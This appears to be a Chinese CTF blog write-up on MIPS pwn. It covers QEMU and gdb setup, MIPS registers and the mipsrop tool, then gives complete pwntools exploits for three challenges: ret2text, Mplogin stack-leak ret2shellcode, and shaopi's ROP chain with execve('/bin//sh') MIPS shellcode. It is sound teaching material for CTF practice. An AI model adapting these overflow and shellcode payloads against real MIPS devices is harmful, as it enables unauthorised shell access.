师傅写的好清楚,想问问师傅还有题目附件吗QAQ
MIPS PWN学习
环境搭建
sudo apt-get install gcc-mips-linux-gnu
sudo apt-get install gcc-mipsel-linux-gnu
sudo apt-get install gcc-mips64-linux-gnuabi64
sudo apt-get install gcc-mips64el-linux-gnuabi64
本地运行
mips32位动态连接
qemu-mipsel -L /usr/mipsel-linux-gnu/ pwn
mips32位静态连接
直接运行即可
qemu细节
pgrep qemu:找到正在运行的 QEMU 进程的 PID
kill -9 port:强制杀死这个进程
ps aux | grep qemu
sudo kill -9 37266
gdb本地调试
qemu-mipsel -L /usr/mipsel-linux-gnu/ -g 1234 pwn
gdb-multiarch pwn -q
set architecture mips
target remote localhost:1234
mips特点
MIPS不支持NX就给了我们向栈区写入shellcode的权利
溢出控制$ra寄存器直接跳转到shellcode处就可以了
mips汇编知识
寄存器
$0:$zero 常量0(constant value 0)
$1:$at 保留给汇编器(Reserved for assembler)
$2-$3:$v0-$v1 函数调用返回值(values for results and expression evaluation)
$4-$7:$a0-$a3 函数调用参数(arguments)
$8-$15:$t0-$t7 暂时的(或随便用的)
$16-$23:$s0-$s7 保存的(或如果用,需要SAVE/RESTORE的)(saved)
$24-$25:$t8-$t9 暂时的(或随便用的)
$28:$gp 全局指针(Global Pointer)
$29:$sp 堆栈指针(Stack Pointer)
$30:$fp/$s8 栈帧指针(Frame Pointer)
$31:$ra 返回地址(return address)
mipsrop
安装
https://bbs.kanxue.com/thread-266102.htm
直接看这个链接的评论区即可,然后直接把文件复制过去
常用的功能
mipsrop.find()
mipsrop.stackfinders()
mips(ret2text)
思路
这个题目就是简单的ret2text,先用这个题目熟悉一下汇编知识
调试还是老方法,一个终端开远程,一个终端开gdb设置架构,然后远程连接
然后开始看汇编
A0-A2三个参数
这里我是用打通的exp来调试的,来看一下
发现运行完read后,fp指向类似于prev rbp+8的位置
jr是MIPS汇编指令中的一条,用于进行无条件跳转。它的作用是将控制权转移至一个寄存器中存储的地址。通常情况下,jr指令与jal(跳转并链接)指令结合使用,jal用于函数调用,jr则用于返回函数。
这里如果不好从栈里看出返回地址的话,直接去看寄存器是给比较好的选择
就比如我们调试到了read这个位置
然后找到了这个地址
我们去看一下栈空间
返回地址应该是在fp的低一位,如果不确定,就看一下ra寄存器
发现确实是在fp的低一位
然后我们根据偏移去覆盖返回地址即可
backdoor=0x0400844
pl="a"*0x44+p32(backdoor)
getshell
exp
import os
import sys
import time
from pwn import *
from ctypes import *
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
p = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu/","./pwn"])
#p = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu/","-g","1234","./pwn"])
elf = ELF("./pwn")
ru('what is mips?\n')
backdoor=0x0400844
pl="a"*0x44+p32(backdoor)
sl(pl)
itr()
HWS2020 Mplogin (ret2shellcode)
思路
一开始做这个题目的时候有些小问题,就是我按照习惯把文件名改成了pwn,然后再第一步一直没有办法泄露栈地址,后来意识到附件里面还有一个.DS_Store文件
这个文件是macOS系统用来存储特定文件夹的自定义显示设置和元数据的文件,所以应该是这个文件对栈空间有些影响,所以我们直接把整个文件夹的内容复制过去,然后正常做题就可以
什么保护都没有
这里可以泄露出栈地址
这里可以通过v2去修改v3的值,然后就在可以在read(0,v4,v3);处造成栈溢出,然后我们就可以写入shellcode,并写入返回地址,就可以执行shellcode了
然后就是去看一下调试的步骤了
ru('Username :')
pl='admin'
pl=pl.ljust(24,'a')
s(pl)
ru('adminaaaaaaaaaaaaaaaaaaa')
stack=u32(r(4))
leak('stack ',stack)
泄露出了栈地址,然后再去修改v3
这里v1是按照这些来算的,这里的长度是24+4+3=31,然后31+4=35(0x23)
就是这个位置
我们直接去修改为一个比较大的数即可
然后getshell
exp
import os
import sys
import time
from pwn import *
from ctypes import *
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
#context.binary=ELF('./Mplogin')
#p = process(["qemu-mipsel","-L","./","-g","1234","./Mplogin"])
p = process(["qemu-mipsel","-L","./","./Mplogin"])
ru('Username :')
pl='admin'
pl=pl.ljust(24,'a')
s(pl)
ru('adminaaaaaaaaaaaaaaaaaaa')
stack=u32(r(4))
leak('stack ',stack)
pl="access".ljust(0x14,"b")+p32(0x100)
sa("Pre_Password : ",pl)
pl="0123456789".ljust(0x28,"c")+p32(stack)+asm(shellcraft.sh())
ru("Password : ")
s(pl)
itr()
DASCTF X 0psu3 shaopi (mipsrop)
思路
本地运行一下可以看出,这里就是base64先绕过
然后有个栈溢出
所以这里就用rop去利用
栈恢复的地方,是可以通过溢出控制fp的,fp可以控制,我们可以利用mipsrop找到一个可以利用fp去跳转的
这里我们可以控制fp指向一个执行a2的gadget,然后在sp+0x68+var_10的位置写gadget即可
这里我们找到了可以去执行a2的gadget
所以最后就用这两个gadget即可
0x0043965C | addiu $a2,$sp,0x68+var_10 | jalr $fp
0x0040ABB8 | move $t9,$a2 | jalr $a2
然后我们找一段gadget去用既可
直接生成的太长,从网上找了个
shellcode = '''
lui $t6,0x6e69
ori $t6,$t6,0x622f
sw $t6,28($sp)
lui $t7,0x6873
ori $t7,$t7,0x2f2f
sw $t7,32($sp)
sw $zero,36($sp)
la $a0,28($sp)
addiu $a1,$zero,0
addiu $a2,$zero,0
addiu $v0,$zero,4011
syscall 0x40404
'''
shellcode = asm(shellcode)
这里是吧sp+0x58给a2
这里计算一下偏移
溢出位置: #0x0043965C | addiu $a2,$sp,0x68+var_10 | jalr $fp
fp位置: #0x0040ABB8 | move $t9,$a2 | jalr $a2
然后计算a2距离buf的偏移为0xa0
所以就直接写shellcode
pl='a'*0x40+p32(0x0040ABB8)+p32(0x0043965C)
pl=pl.ljust(0xa0,'a')+shellcode
sa('Congratulation!\n',pl)
itr()
exp
import os
import sys
import time
from pwn import *
from ctypes import *
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
#context.binary=ELF('./pwn')
#p = process(["qemu-mipsel","-L","./","-g","1234","./pwn"])
p = process(["qemu-mipsel","-L","./","./pwn"])
# 0x0043965C | addiu $a2,$sp,0x68+var_10 | jalr $fp
# 0x0040ABB8 | move $t9,$a2 | jalr $a2
p.sendlineafter('your passphrase: ','三元一串十元三串')
shellcode = '''
lui $t6,0x6e69
ori $t6,$t6,0x622f
sw $t6,28($sp)
lui $t7,0x6873
ori $t7,$t7,0x2f2f
sw $t7,32($sp)
sw $zero,36($sp)
la $a0,28($sp)
addiu $a1,$zero,0
addiu $a2,$zero,0
addiu $v0,$zero,4011
syscall 0x40404
'''
shellcode = asm(shellcode)
pl='a'*0x40+p32(0x0040ABB8)+p32(0x0043965C)
pl=pl.ljust(0xa0,'a')+shellcode
sa('Congratulation!\n',pl)
itr()